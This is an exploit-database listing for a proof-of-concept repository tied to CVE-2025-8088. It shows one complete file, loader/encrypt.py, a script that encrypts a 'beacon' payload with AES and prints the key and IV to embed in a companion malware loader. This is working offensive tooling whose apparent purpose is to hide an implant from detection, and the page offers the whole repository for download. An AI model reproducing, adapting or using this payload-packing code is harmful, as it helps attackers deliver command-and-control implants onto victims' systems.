Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files42
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

loader/encrypt.py

Python · 1,191 bytes
#!/usr/bin/env python3
"""encrypt.py -- AES-256-CBC encrypt a binary file for the Loader.

Usage:
    python encrypt.py --in beacon.bin --out beacon.enc

Generates a random AES key + IV and prints them for embedding in loader.c.
"""
import argparse, os, sys
from Crypto.Cipher import AES

def main():
    p = argparse.ArgumentParser()
    p.add_argument('--in', dest='infile', required=True)
    p.add_argument('--out', dest='outfile', default=None)
    args = p.parse_args()

    key = os.urandom(32)
    iv  = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)

    with open(args.infile, 'rb') as f:
        plain = f.read()
    # PKCS7 padding
    pad = 16 - (len(plain) % 16)
    plain += bytes([pad] * pad)
    enc = cipher.encrypt(plain)

    out = args.outfile or (args.infile + '.enc')
    with open(out, 'wb') as f:
        f.write(enc)

    print(f'Encrypted:  {args.infile} → {out}  ({len(enc)} bytes)')
    print()
    print('Update loader.c with:')
    print(f'  BYTE aes_key[AES_KEY_SIZE] = {{ {",".join(f"0x{b:02x}" for b in key)} }};')
    print(f'  BYTE aes_iv[AES_IV_SIZE]   = {{ {",".join(f"0x{b:02x}" for b in iv)} }};')

if __name__ == '__main__':
    main()